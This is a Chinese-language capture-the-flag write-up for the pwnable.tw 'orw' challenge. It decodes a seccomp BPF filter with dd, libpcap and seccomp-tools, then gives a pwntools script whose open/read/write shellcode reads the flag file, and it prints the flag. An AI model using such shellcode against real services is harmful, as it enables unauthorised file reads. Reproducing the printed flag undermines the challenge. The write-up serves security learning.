pwnable.tw orw
程序先调用了orw_seccomp
函数
函数里有两个关键函数
qmemcpy(&v3, &unk_8048640, 0x60u);
v1 = 12;
v2 = &v3;
prctl(38, 1, 0, 0, 0);
prctl(22, 2, &v1); // prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &v1)
这里的v1, v2存储上是挨着的, 其实是一个结构体
prctl第一个参数是option, 每个数字代表的含义在/usr/include/linux/prctl.h
里可以找到, 这个网站有参考
#define PR_SET_NO_NEW_PRIVS 38
#define PR_SET_SECCOMP 22
下面这个启用了seccomp沙盒模式, 第二个参数说明了沙盒类型seccomp_mode_filter
相当于是设置了函数白名单, 具体filter了哪些函数, 看第三个参数, 第三个参数是个struct sock_fprog
, 那我们在IDA里导入这个结构体….[这只是幻想…我好像还没有掌握这个技能…]
我们要做的是把从v3(offset = 0x640 ~ 0x6a0)这里开始的96字节数据dump下来, 然后看看是啥…
dd if=orw of=orw_fprog bs=1 skip=1600 count=96
我这一手不娴熟的dd操作….(bs是块的大小, skip和count用的都是这个单位好像)
对照结构体
struct sock_fprog /* Required for SO_ATTACH_FILTER. */
{
unsigned short len; /* Number of filter blocks */
struct sock_filter *filter;
};
struct sock_filter /* Filter block */
{
__u16 code; /* Actual filter code */
__u8 jt; /* Jump true */
__u8 jf; /* Jump false */
__u32 k; /* Generic multiuse field */
};
我们的len就是12, 有12个block…每个8字节, 正好96字节, 我们看看sock_filter的内容
找资料说libpcap
里有一个bpf_image
函数可以那个…把结构体解释成人类可解读的…汇编…写了半天,不知道为什么编译不通过…留下了没技术的泪水
原来编译的时候忘了加参数…
解释代码
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <pcap.h>
int main() {
FILE * fp = fopen("./orw_fprog", "r");
char buf1[100];
char buf2[1000];
struct bpf_insn aa[12];
fread(buf1, 1, 96, fp);
memcpy(aa, buf1, 96);
int i;
for(i = 0; i < 12; i++) {
printf("%s\n", bpf_image(&aa[i], i));
}
return 0;
}
// gcc -o unpack unpack.c -lpcap
结果如下….然而我并不能看懂
(000) ld [4]
(001) jeq #0x40000003 jt 2 jf 11
(002) ld [0]
(003) jeq #0xad jt 11 jf 4
(004) jeq #0x77 jt 11 jf 5
(005) jeq #0xfc jt 11 jf 6
(006) jeq #0x1 jt 11 jf 7
(007) jeq #0x5 jt 11 jf 8
(008) jeq #0x3 jt 11 jf 9
(009) jeq #0x4 jt 11 jf 10
(010) ret #327718
(011) ret #2147418112
code是汇编指令
jt是指令结果为true的跳转
jf是指令结果为false的跳转
k是指令的参数
我猜想..这个的1, 3, 4, 5...
是允许的调用号, 后面那些比较大的调用号看起来就没啥用
查找一下表
#define __NR_exit 1
#define __NR_read 3
#define __NR_write 4
#define __NR_open 5
也就是我们能用read
, write
和 open
….
然后这个时候, dalao和我说…人家题目上告诉你用这三个system call了…血崩…我是一个没看题的智障
后来发现了一个工具seccomp-tools
// 安装
gem install seccomp-tools
// 使用
seccomp-tools dump ./orw
就可以得到
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0x40000003 if (A != ARCH_I386) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x07 0x00 0x000000ad if (A == rt_sigreturn) goto 0011
0004: 0x15 0x06 0x00 0x00000077 if (A == sigreturn) goto 0011
0005: 0x15 0x05 0x00 0x000000fc if (A == exit_group) goto 0011
0006: 0x15 0x04 0x00 0x00000001 if (A == exit) goto 0011
0007: 0x15 0x03 0x00 0x00000005 if (A == open) goto 0011
0008: 0x15 0x02 0x00 0x00000003 if (A == read) goto 0011
0009: 0x15 0x01 0x00 0x00000004 if (A == write) goto 0011
0010: 0x06 0x00 0x00 0x00050026 return ERRNO(38)
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
就不需要人肉解读了….
除了用prctl也可以用prctl的system call来进入这个模式
所以, 下面是
from pwn import *
p = remote("chall.pwnable.tw", 10001)
# read -> open -> read -> write
shellcode = '''
mov eax, 0x03
xor ebx, ebx
mov ecx, esp
mov edx, 0x10
int 0x80
mov eax, 0x05
mov ebx, esp
xor ecx, ecx
xor edx, edx
int 0x80
mov ebx, eax
mov eax, 0x03
mov ecx, esp
mov edx, 0x30
int 0x80
mov eax, 0x04
mov ebx, 1
mov ecx, esp
mov edx, 0x30
int 0x80
'''
shellcode = asm(shellcode)
p.recvuntil(":")
p.send(shellcode)
raw_input()
p.send("/home/orw/flag")
p.interactive()
# FLAG{sh3llc0ding_w1th_op3n_r34d_writ3}